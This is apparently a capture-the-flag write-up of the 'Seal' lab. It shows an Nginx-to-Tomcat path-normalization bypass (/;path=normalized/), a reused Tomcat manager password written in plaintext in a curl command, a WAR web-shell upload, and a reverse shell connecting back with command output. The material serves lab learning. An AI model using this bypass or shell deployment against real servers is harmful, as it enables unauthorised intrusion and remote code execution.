Assessment
Up until now, just about the only progress that I made was confirming the password reuse of the luis
user as the user had previously configured the authentication on the target Tomcat instance with his own password and left the commit out, which allowed me to see.
Although it appeared that the credential might be valid for the Tomcat instance proxied through Nginx over the port 443
, I had no way of accessing the manager panel of the Tomcat instance at /manager/html
as the Nginx proxy was configured with the mutual authentication set by the development team
I tried forging my own certificate using the openssl tool to be able to authenticate to the Nginx web server, but was unable to proceed forward. At that point, I had to look it up.
path normalization
Then I found out that the target environment is vulnerable to the Path Normalization attack
In the context of web applications, path normalization refers to the process of transforming and standardizing input paths or URLs to ensure consistent and safe handling by the server and application.
Path normalization is important for security reasons, as it can help prevent certain types of attacks such as path traversal attacks, in which an attacker tries to access files or directories outside of the intended directory hierarchy. By normalizing paths before processing them, an application can ensure that all paths are in a standardized format, and that any attempts to access files or directories outside of the intended hierarchy are detected and blocked.
In the target environment, Nginx is functioning as a reverse proxy over the port
443
to the Tomcat instance running on the localhost:8000
socket
It is conditional in the sense that the client must be authenticated via the mutual authentication, $ssl_client_verify
. Nginx then passes the request on to http://localhost:8000
, which is where the Tomcat instance is running
This configuration is applied to other resources as well;
/admin/dashboard
and /host-manager/html
The issue or vulnerability is present in the way Tomcat parses user request for path normalization
When Nginx is being used as a proxy to an internal Tomcat instance,
/..;/
can be used to bypass such restriction set by Nginx because Nginx interpreters /..;/
as a valid directory, it passes it down to whatever application it had its proxy set up to.
Additionally, Tomcat seems to ignore everything after the ;
sign until the next slash sign; /
It works with Apache as well.
In fact, there is a whole list of that
It affects many other applications.
Using the directory traversal technique shown above, I am able to access the Tomcat instance at
/manager/html
It would initially go to an arbitrary directory, /blahblah/
, and go back to the parent directory, ..;
It prompts me for the basic HTTP authentication
I can also use the bypass technique as well. As discovered earlier, Tomcat seems to ignore everything after the
;
sign until the next slash sign; /
In this context, ;path-normarlized
is basically canceled out and the Tomcat interpretates the request to //manager/html
I never have to worry about the mutual authentication as I am never sending a request to /manager/html
directly, and the Nginx web server interpreates my requests as;path-normarlized/manager/html
and passes on to the Tomcat instance, where it just cancels out the ;path-normarlized
part, resulting //manager/html
I can also access the
/admin
directory using the techniques shown above
Authenticate
I can then just the credential to authenticate to the Tomcat manager application
Successfully authenticated and signed-in to the Tomcat manager panel
Notice that the resource location is still set to
/;path=normalized/manager/html
now that i have a valid tomcat credential with a manager role, i can get an easy rce via war file upload
RCE
┌──(kali㉿kali)-[~/archive/htb/labs/seal]
└─$ curl -u 'tomcat:42MrHBf*z8{Z%' -k --upload-file shell.war 'https://seal.htb/;path=normalized/manager/text/deploy?path=/rce&update=true'
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>403 Access Denied</title>
</head>
<body>
<h1>403 Access Denied</h1>
<p>
You are not authorized to view this page.
</p>
<p>
By default the Manager is only accessible from a browser running on the
same machine as Tomcat. If you wish to modify this restriction, you'll need
to edit the Manager's <tt>context.xml</tt> file.
</p>
[...REDACTED...]
403..
403 again.
Attempting to upload the payload fails on both GUI and CLI
There is a very good reason why the Tomcat instances responses with a 403
That’s because the POST request had no session cookie.
This is due to the way session token was handled likely caused by the path normalization technique used to access the Tomcat instance in the first place
As shown above, when I have accessed to the
;path=normalized/manager/html
using the basic HTTP authentication, and the web server authorized my access and hand me out a session token.
The important bits about the cookie is the following; Path=/manager;HttpOnly
- The
Path=/manager
attribute tells the client that the cookie is valid only for requests made to the/manager
path on the server - The
HttpOnly
attribute tells the client that the cookie should not be accessible via client-side script, which helps protect against certain types of cross-site scripting (XSS) attacks.
In return, my browser was unable to process and store it, resulting to upload the payload WITHOUT the session token as it had a prefix of the path normalization technique applied
So, I just need to manual append the session token when uploading the payload
Upload was successful
┌──(kali㉿kali)-[~/archive/htb/labs/seal]
└─$ curl -k 'https://seal.htb/shell/'
Triggering the payload
┌──(kali㉿kali)-[~/archive/htb/labs/seal]
└─$ nnc 443
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.250] 43330
whoami
tomcat
hostname
seal
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.250 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff:feb9:d927 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb9:d927 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b9:d9:27 txqueuelen 1000 (Ethernet)
RX packets 1269 bytes 152088 (152.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1392 bytes 2329589 (2.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 688 bytes 2368400 (2.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 688 bytes 2368400 (2.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Initial Foothold established to the target system as the tomcat
user via WAR file upload
more info
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html https://www.secjuice.com/breaking-parser-logic-gain-access-to-nginx-plus-api-read-write-upstreams/